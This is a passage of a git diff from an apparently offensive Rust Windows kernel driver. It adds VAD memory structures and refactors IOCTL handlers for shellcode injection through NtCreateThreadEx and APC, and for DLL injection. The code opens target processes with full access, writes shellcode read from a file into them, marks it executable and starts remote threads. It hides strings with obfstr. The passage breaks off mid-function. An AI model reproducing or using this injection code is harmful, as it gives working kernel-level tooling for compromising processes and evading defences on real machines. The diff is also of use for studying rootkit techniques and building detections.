||||||
|
pub mod vad;
|
||||||
|
|
||||||
pub mod structs {
|
pub mod structs {
|
||||||
use super::*;
|
use super::*;
|
||||||
use shared::vars::Callbacks;
|
use shared::vars::Callbacks;
|
||||||
|
use core::mem::ManuallyDrop;
|
||||||
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
pub struct FULL_OBJECT_TYPE {
|
pub struct FULL_OBJECT_TYPE {
|
||||||
@@ -101,18 +104,11 @@ pub mod structs {
|
|||||||
shared, set_shared: 63, 4;
|
shared, set_shared: 63, 4;
|
||||||
}
|
}
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
union ExPushLockUnion {
|
|
||||||
struct_data: core::mem::ManuallyDrop<_EX_PUSH_LOCK>,
|
|
||||||
value: u64,
|
|
||||||
ptr: *mut c_void,
|
|
||||||
}
|
|
||||||
|
|
||||||
bitfield! {
|
bitfield! {
|
||||||
pub struct PS_PROTECTION(u8);
|
pub struct PS_PROTECTION(u8);
|
||||||
pub u8, type_, set_type_: 2, 0; // 3 bits
|
pub u8, type_, set_type_: 2, 0;
|
||||||
pub u8, audit, set_audit: 3; // 1 bit
|
pub u8, audit, set_audit: 3;
|
||||||
pub u8, signer, set_signer: 7, 4; // 4 bits
|
pub u8, signer, set_signer: 7, 4;
|
||||||
}
|
}
|
||||||
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
@@ -131,6 +127,135 @@ pub mod structs {
|
|||||||
pub post_operation: u64,
|
pub post_operation: u64,
|
||||||
pub entry: u64,
|
pub entry: u64,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MMVAD_SHORT {
|
||||||
|
pub vad_node: RTL_BALANCED_NODE,
|
||||||
|
pub starting_vpn: u32,
|
||||||
|
pub ending_vpn: u32,
|
||||||
|
pub starting_vpn_high: u8,
|
||||||
|
pub ending_vpn_high: u8,
|
||||||
|
pub commit_charge_high: u8,
|
||||||
|
pub spare_nt64_vad_uchar: u8,
|
||||||
|
pub reference_count: i32,
|
||||||
|
pub push_lock: usize,
|
||||||
|
pub u: Uunion,
|
||||||
|
pub u1: U1Union,
|
||||||
|
pub u5: U5Union,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union Uunion {
|
||||||
|
pub long_flags: u32,
|
||||||
|
pub vad_flags: ManuallyDrop<MMVAD_FLAGS>,
|
||||||
|
pub private_vad_flags: ManuallyDrop<MM_PRIVATE_VAD_FLAGS>,
|
||||||
|
pub graphics_vad_flags: ManuallyDrop<MM_GRAPHICS_VAD_FLAGS>,
|
||||||
|
pub shared_vad_flags: ManuallyDrop<MM_SHARED_VAD_FLAGS>,
|
||||||
|
pub volatile_long: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union U1Union {
|
||||||
|
pub long_flags1: u32,
|
||||||
|
pub vad_flags1: ManuallyDrop<MMVAD_FLAGS1>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union U5Union {
|
||||||
|
pub event_list_ulong_ptr: u64,
|
||||||
|
pub starting_vpn_higher: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MM_PRIVATE_VAD_FLAGS(u32);
|
||||||
|
impl Debug;
|
||||||
|
impl Default;
|
||||||
|
u32;
|
||||||
|
pub lock, set_lock: 1;
|
||||||
|
pub lock_contended, set_lock_contended: 1;
|
||||||
|
pub delete_in_progress, set_delete_in_progress: 1;
|
||||||
|
pub no_change, set_no_change: 1;
|
||||||
|
pub vad_type, set_vad_type: 6, 4;
|
||||||
|
pub protection, set_protection: 11, 7;
|
||||||
|
pub preferred_node, set_preferred_node: 18, 12;
|
||||||
|
pub page_size, set_page_size: 19, 20;
|
||||||
|
pub private_memory_always_set, set_private_memory: 21;
|
||||||
|
pub write_watch, set_write: 22;
|
||||||
|
pub fixed_large_page_size, set_page_large: 23;
|
||||||
|
pub zero_fill_pages_optional, set_zero_fill: 24;
|
||||||
|
pub graphics, set_graphics: 25;
|
||||||
|
pub enclave, set_enclave: 26;
|
||||||
|
pub shadow_stack, set_shadow_stack: 27;
|
||||||
|
pub physical_memory_pfns_referenced, set_physical: 28;
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MM_SHARED_VAD_FLAGS(u32);
|
||||||
|
impl Debug;
|
||||||
|
impl Default;
|
||||||
|
u32;
|
||||||
|
pub lock, set_lock: 1;
|
||||||
|
pub lock_contended, set_lock_contended: 1;
|
||||||
|
pub delete_in_progress, set_delete_in_progress: 1;
|
||||||
|
pub no_change, set_no_change: 1;
|
||||||
|
pub vad_type, set_vad_type: 6, 4;
|
||||||
|
pub protection, set_protection: 11, 7;
|
||||||
|
pub preferred_node, set_preferred_node: 18, 12;
|
||||||
|
pub page_size, set_page_size: 19, 20;
|
||||||
|
pub private_memory_always_set, set_private_memory: 21;
|
||||||
|
pub private_fixup, set_private_fixup: 22;
|
||||||
|
pub hot_patch_state, set_hot_patch_state: 24, 23;
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MMVAD_FLAGS(u32);
|
||||||
|
impl Debug;
|
||||||
|
u32;
|
||||||
|
pub lock, set_lock: 0;
|
||||||
|
pub lock_contended, set_lock_contended: 1;
|
||||||
|
pub delete_in_progress, set_delete_in_progress: 2;
|
||||||
|
pub no_change, set_no_change: 3;
|
||||||
|
pub vad_type, set_vad_type: 6, 4;
|
||||||
|
pub protection, set_protection: 11, 7;
|
||||||
|
pub preferred_node, set_preferred_node: 18, 12;
|
||||||
|
pub page_size, set_page_size: 19, 20;
|
||||||
|
pub private_memory, set_private_memory: 21;
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MM_GRAPHICS_VAD_FLAGS(u32);
|
||||||
|
impl Debug;
|
||||||
|
impl Default;
|
||||||
|
u32;
|
||||||
|
pub lock, set_lock: 1;
|
||||||
|
pub lock_contended, set_lock_contended: 1;
|
||||||
|
pub delete_in_progress, set_delete_in_progress: 1;
|
||||||
|
pub no_change, set_no_change: 1;
|
||||||
|
pub vad_type, set_vad_type: 6, 4;
|
||||||
|
pub protection, set_protection: 11, 7;
|
||||||
|
pub preferred_node, set_preferred_node: 18, 12;
|
||||||
|
pub page_size, set_page_size: 19, 20;
|
||||||
|
pub private_memory_always_set, set_private_memory: 21;
|
||||||
|
pub write_watch, set_write: 22;
|
||||||
|
pub fixed_large_page_size, set_page_large: 23;
|
||||||
|
pub zero_fill_pages_optional, set_zero_fill: 24;
|
||||||
|
pub graphics_always_set, set_graphics: 25;
|
||||||
|
pub graphics_use_coherent, set_graphics_use: 26;
|
||||||
|
pub graphics_no_cache, set_graphics_no_cache: 27;
|
||||||
|
pub graphics_page_protection, set_graphics_page_protection: 30, 28;
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MMVAD_FLAGS1(u32);
|
||||||
|
impl Debug;
|
||||||
|
pub commit_charge, set_commit_charge: 30, 0;
|
||||||
|
pub mem_commit, set_mem_commit: 31;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub mod types {
|
pub mod types {
|
||||||
@@ -172,33 +297,6 @@ pub mod types {
|
|||||||
system_argument1: *mut PVOID,
|
system_argument1: *mut PVOID,
|
||||||
system_argument2: *mut PVOID
|
system_argument2: *mut PVOID
|
||||||
);
|
);
|
||||||
|
|
||||||
pub type ZwSuspendThreadType = unsafe extern "system" fn (
|
|
||||||
ThreadHandle: HANDLE,
|
|
||||||
PreviousSuspendCount: *mut u32,
|
|
||||||
) -> NTSTATUS;
|
|
||||||
|
|
||||||
pub type ZwResumeThreadType = unsafe extern "system" fn(
|
|
||||||
ThreadHandle: HANDLE,
|
|
||||||
PreviousSuspendCount: *mut u32,
|
|
||||||
) -> NTSTATUS;
|
|
||||||
|
|
||||||
pub type ZwCreateDebugObjectType = unsafe extern "system" fn(
|
|
||||||
DebugObjectHandle: *mut HANDLE,
|
|
||||||
DesiredAccess: ACCESS_MASK,
|
|
||||||
ObjectAttributes: *mut OBJECT_ATTRIBUTES,
|
|
||||||
Flags: BOOLEAN,
|
|
||||||
) -> NTSTATUS;
|
|
||||||
|
|
||||||
pub type ZwDebugActiveProcessType = unsafe extern "system" fn(
|
|
||||||
ProcessHandle: HANDLE,
|
|
||||||
DebugObjectHandle: HANDLE,
|
|
||||||
) -> NTSTATUS;
|
|
||||||
|
|
||||||
pub type ZwRemoveProcessDebugType = unsafe extern "system" fn(
|
|
||||||
ProcessHandle: HANDLE,
|
|
||||||
DebugObjectHandle: HANDLE,
|
|
||||||
) -> NTSTATUS;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub mod enums {
|
pub mod enums {
|
||||||
@@ -280,16 +378,4 @@ extern "system" {
|
|||||||
object_attributes: *mut OBJECT_ATTRIBUTES,
|
object_attributes: *mut OBJECT_ATTRIBUTES,
|
||||||
client_id: *mut CLIENT_ID
|
client_id: *mut CLIENT_ID
|
||||||
) -> NTSTATUS;
|
) -> NTSTATUS;
|
||||||
|
|
||||||
pub fn PsGetContextThread(
|
|
||||||
Thread: PETHREAD,
|
|
||||||
ThreadContext: *mut CONTEXT,
|
|
||||||
Mode: KPROCESSOR_MODE
|
|
||||||
) -> NTSTATUS;
|
|
||||||
|
|
||||||
pub fn PsSetContextThread(
|
|
||||||
Thread: PETHREAD,
|
|
||||||
ThreadContext: *mut CONTEXT,
|
|
||||||
Mode: KPROCESSOR_MODE
|
|
||||||
) -> NTSTATUS;
|
|
||||||
}
|
}
|
||||||
|
|||||||
86
driver/src/includes/vad.rs
Normal file
86
driver/src/includes/vad.rs
Normal file
@@ -0,0 +1,86 @@
|
|||||||
|
use bitfield::bitfield;
|
||||||
|
use wdk_sys::LIST_ENTRY;
|
||||||
|
use super::structs::MMVAD_SHORT;
|
||||||
|
use core::{ffi::c_void, mem::ManuallyDrop};
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MMVAD {
|
||||||
|
core: MMVAD_SHORT,
|
||||||
|
u2: U2Union,
|
||||||
|
pub subsection: *mut SUBSECTION
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union U2Union {
|
||||||
|
long_flags2: u32,
|
||||||
|
vad_flags2: ManuallyDrop<MMVAD_FLAGS2>
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MMVAD_FLAGS2(u32);
|
||||||
|
impl Debug;
|
||||||
|
u32;
|
||||||
|
pub file_offset, set_file_offset: 0, 23; // 24 bits
|
||||||
|
pub large, set_large: 24; // 1 bit
|
||||||
|
pub trim_behind, set_trim_behind: 25; // 1 bit
|
||||||
|
pub inherit, set_inherit: 26; // 1 bit
|
||||||
|
pub no_validation_needed, set_no_validation_needed: 27; // 1 bit
|
||||||
|
pub private_demand_zero, set_private_demand_zero: 28; // 1 bit
|
||||||
|
pub spare, set_spare: 29, 31; // 3 bits
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct SUBSECTION {
|
||||||
|
pub control_area: *mut CONTROL_AREA,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union LIST_OR_AWE_CONTEXT {
|
||||||
|
list_head: LIST_ENTRY,
|
||||||
|
awe_context: *mut c_void,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union UUnion {
|
||||||
|
long_flags: u32,
|
||||||
|
flags: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union U1Union {
|
||||||
|
long_flags: u32,
|
||||||
|
flags: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct CONTROL_AREA {
|
||||||
|
segment: *mut *mut c_void,
|
||||||
|
list_or_awe_context: LIST_OR_AWE_CONTEXT,
|
||||||
|
number_of_section_references: u64,
|
||||||
|
number_of_pfn_references: u64,
|
||||||
|
number_of_mapped_views: u64,
|
||||||
|
number_of_user_references: u64,
|
||||||
|
u: UUnion,
|
||||||
|
u1: U1Union,
|
||||||
|
pub file_pointer: EX_FAST_REF
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union EX_FAST_REF_INNER {
|
||||||
|
pub object: *mut c_void,
|
||||||
|
pub value: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct ExFastRef(u64);
|
||||||
|
impl Debug;
|
||||||
|
|
||||||
|
pub ref_cnt, set_ref_cnt: 0, 3;
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct EX_FAST_REF {
|
||||||
|
pub inner: EX_FAST_REF_INNER,
|
||||||
|
}
|
||||||
@@ -1,9 +1,16 @@
|
|||||||
use {
|
use {
|
||||||
|
crate::{
|
||||||
|
handle_injection,
|
||||||
|
injection::{InjectionDLL, InjectionShellcode},
|
||||||
|
utils::ioctls::IoctlHandler
|
||||||
|
},
|
||||||
alloc::boxed::Box,
|
alloc::boxed::Box,
|
||||||
hashbrown::HashMap,
|
hashbrown::HashMap,
|
||||||
shared::{ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD}, structs::TargetInjection},
|
shared::{
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP},
|
ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD},
|
||||||
crate::{handle_injection, injection::{InjectionDLL, InjectionShellcode}, utils::ioctls::IoctlHandler},
|
structs::TargetInjection
|
||||||
|
},
|
||||||
|
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}
|
||||||
};
|
};
|
||||||
|
|
||||||
pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||||
@@ -11,25 +18,43 @@ pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
|||||||
// Process injection using ZwCreateThreadEx.
|
// Process injection using ZwCreateThreadEx.
|
||||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
|
log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
|
||||||
|
|
||||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
|
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
status
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
// APC Injection.
|
// APC Injection.
|
||||||
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
|
log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
|
||||||
|
|
||||||
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
|
let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
status
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
// DLL injection using ZwCreateThreadEx.
|
// DLL injection using ZwCreateThreadEx.
|
||||||
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
|
log::info!("Received IOCTL_INJECTION_DLL_THREAD");
|
||||||
|
|
||||||
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
|
let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
|
||||||
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
unsafe { (*irp).IoStatus.Information = 0 };
|
||||||
status
|
|
||||||
|
match status {
|
||||||
|
Ok(_) => STATUS_SUCCESS,
|
||||||
|
Err(err_code) => err_code
|
||||||
|
}
|
||||||
}) as IoctlHandler);
|
}) as IoctlHandler);
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -1,29 +1,28 @@
|
|||||||
#![allow(non_snake_case)]
|
#![allow(non_snake_case)]
|
||||||
|
|
||||||
use {
|
use {
|
||||||
crate::{
|
|
||||||
includes::{
|
|
||||||
enums::KAPC_ENVIROMENT::OriginalApcEnvironment, types::{
|
|
||||||
ZwCreateThreadExType, PKNORMAL_ROUTINE
|
|
||||||
}, KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory,ZwProtectVirtualMemory
|
|
||||||
},
|
|
||||||
process::Process,
|
|
||||||
utils::{
|
|
||||||
find_thread_alertable, find_zw_function,
|
|
||||||
get_module_peb, read_file, InitializeObjectAttributes
|
|
||||||
}
|
|
||||||
},
|
|
||||||
callbacks::{kernel_apc_callback, user_apc_callback},
|
|
||||||
core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut},
|
|
||||||
obfstr::obfstr,
|
obfstr::obfstr,
|
||||||
shared::structs::TargetInjection,
|
shared::structs::TargetInjection,
|
||||||
|
callbacks::{kernel_apc_callback, user_apc_callback},
|
||||||
|
core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut},
|
||||||
wdk_sys::{
|
wdk_sys::{
|
||||||
ntddk::{
|
ntddk::{
|
||||||
ExAllocatePool2, IoGetCurrentProcess, ZwAllocateVirtualMemory,
|
IoGetCurrentProcess, ZwAllocateVirtualMemory,
|
||||||
ZwClose, ZwOpenProcess
|
ZwClose, ZwOpenProcess
|
||||||
},
|
},
|
||||||
_MODE::{KernelMode, UserMode}, *
|
_MODE::{KernelMode, UserMode}, *
|
||||||
},
|
},
|
||||||
|
crate::{
|
||||||
|
includes::{
|
||||||
|
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
|
||||||
|
types::{ZwCreateThreadExType, PKNORMAL_ROUTINE},
|
||||||
|
KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, ZwProtectVirtualMemory
|
||||||
|
},
|
||||||
|
process::Process,
|
||||||
|
utils::{
|
||||||
|
find_thread_alertable, get_module_peb, handles::Handle, patterns::find_zw_function, pool::PoolMemory, read_file, InitializeObjectAttributes
|
||||||
|
}
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
mod callbacks;
|
mod callbacks;
|
||||||
@@ -41,19 +40,12 @@ impl InjectionShellcode {
|
|||||||
/// # Return
|
/// # Return
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
///
|
///
|
||||||
pub unsafe fn injection_thread(target: *mut TargetInjection) -> NTSTATUS {
|
pub unsafe fn injection_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
|
||||||
let pid = (*target).pid;
|
let pid = (*target).pid;
|
||||||
let path = &(*target).path;
|
let path = &(*target).path;
|
||||||
|
|
||||||
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) {
|
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)? as *mut c_void;
|
||||||
Some(addr) => addr as *mut c_void,
|
let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
|
||||||
|
|
||||||
let target_eprocess = match Process::new(pid) {
|
|
||||||
Some(e_process) => e_process,
|
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut h_process: HANDLE = null_mut();
|
let mut h_process: HANDLE = null_mut();
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
@@ -64,21 +56,18 @@ impl InjectionShellcode {
|
|||||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
log::error!("ZwOpenProcess Failed With Status: {status}");
|
||||||
return status;
|
return Err(status);
|
||||||
}
|
}
|
||||||
|
|
||||||
let shellcode = match read_file(path) {
|
let h_process = Handle::new(h_process);
|
||||||
Ok(buffer) => buffer,
|
|
||||||
Err(error) => return error
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut base_address = null_mut();
|
let shellcode = read_file(path)?;
|
||||||
let mut region_size = shellcode.len() as u64;
|
let mut region_size = shellcode.len() as u64;
|
||||||
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
let mut base_address = null_mut();
|
||||||
|
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
||||||
ZwClose(h_process);
|
return Err(status);
|
||||||
return status;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut result_number = 0;
|
let mut result_number = 0;
|
||||||
@@ -93,11 +82,10 @@ impl InjectionShellcode {
|
|||||||
);
|
);
|
||||||
|
|
||||||
let mut old_protect = 0;
|
let mut old_protect = 0;
|
||||||
status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
|
log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
|
||||||
ZwClose(h_process);
|
return Err(status);
|
||||||
return status;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||||
@@ -107,7 +95,7 @@ impl InjectionShellcode {
|
|||||||
&mut h_thread,
|
&mut h_thread,
|
||||||
THREAD_ALL_ACCESS,
|
THREAD_ALL_ACCESS,
|
||||||
&mut obj_attr,
|
&mut obj_attr,
|
||||||
h_process,
|
h_process.get(),
|
||||||
transmute(base_address),
|
transmute(base_address),
|
||||||
null_mut(),
|
null_mut(),
|
||||||
0,
|
0,
|
||||||
@@ -118,14 +106,12 @@ impl InjectionShellcode {
|
|||||||
);
|
);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
log::error!("ZwCreateThreadEx Failed With Status: {status}");
|
||||||
ZwClose(h_process);
|
return Err(status);
|
||||||
return status;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
ZwClose(h_process);
|
|
||||||
ZwClose(h_thread);
|
ZwClose(h_thread);
|
||||||
|
|
||||||
STATUS_SUCCESS
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Injection Shellcode in APC.
|
/// Injection Shellcode in APC.
|
||||||
@@ -136,42 +122,32 @@ impl InjectionShellcode {
|
|||||||
/// # Return
|
/// # Return
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
///
|
///
|
||||||
pub unsafe fn injection_apc(target: *mut TargetInjection) -> NTSTATUS {
|
pub unsafe fn injection_apc(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
|
||||||
let pid = (*target).pid;
|
let pid = (*target).pid;
|
||||||
let path = &(*target).path;
|
let path = &(*target).path;
|
||||||
let shellcode = match read_file(path) {
|
let shellcode = read_file(path)?;
|
||||||
Ok(buffer) => buffer,
|
let thread_id = find_thread_alertable(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
Err(error) => return error
|
let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||||
};
|
|
||||||
|
|
||||||
let thread_id = match find_thread_alertable(pid) {
|
|
||||||
Some(tid) => tid,
|
|
||||||
None => return STATUS_UNSUCCESSFUL
|
|
||||||
};
|
|
||||||
|
|
||||||
let target_eprocess = match Process::new(pid) {
|
|
||||||
Some(e_process) => e_process,
|
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
let mut h_process: HANDLE = null_mut();
|
let mut h_process: HANDLE = null_mut();
|
||||||
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
let mut client_id = CLIENT_ID {
|
let mut client_id = CLIENT_ID {
|
||||||
UniqueProcess: pid as _,
|
UniqueProcess: pid as _,
|
||||||
UniqueThread: null_mut(),
|
UniqueThread: null_mut(),
|
||||||
};
|
};
|
||||||
|
|
||||||
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwOpenProcess Failed With Status: {status}");
|
log::error!("ZwOpenProcess Failed With Status: {status}");
|
||||||
return status;
|
return Err(status);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let h_process = Handle::new(h_process);
|
||||||
let mut base_address = null_mut();
|
let mut base_address = null_mut();
|
||||||
let mut region_size = shellcode.len() as u64;
|
let mut region_size = shellcode.len() as u64;
|
||||||
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
|
||||||
return status;
|
return Err(status);
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut result_number = 0;
|
let mut result_number = 0;
|
||||||
@@ -185,17 +161,19 @@ impl InjectionShellcode {
|
|||||||
&mut result_number,
|
&mut result_number,
|
||||||
);
|
);
|
||||||
|
|
||||||
let user_apc = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"krts")) as *mut KAPC;
|
let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"krts"))
|
||||||
if user_apc.is_null() {
|
.map(|mem| mem.ptr as *mut KAPC)
|
||||||
log::error!("ExAllocatePool2 (User) Failed");
|
.ok_or_else(|| {
|
||||||
return STATUS_UNSUCCESSFUL;
|
log::error!("PoolMemory (User) Failed");
|
||||||
}
|
STATUS_UNSUCCESSFUL
|
||||||
|
})?;
|
||||||
|
|
||||||
let kernel_apc = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"urds")) as *mut KAPC;
|
let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"urds"))
|
||||||
if kernel_apc.is_null() {
|
.map(|mem| mem.ptr as *mut KAPC)
|
||||||
log::error!("ExAllocatePool2 (Kernel) Failed");
|
.ok_or_else(|| {
|
||||||
return STATUS_UNSUCCESSFUL;
|
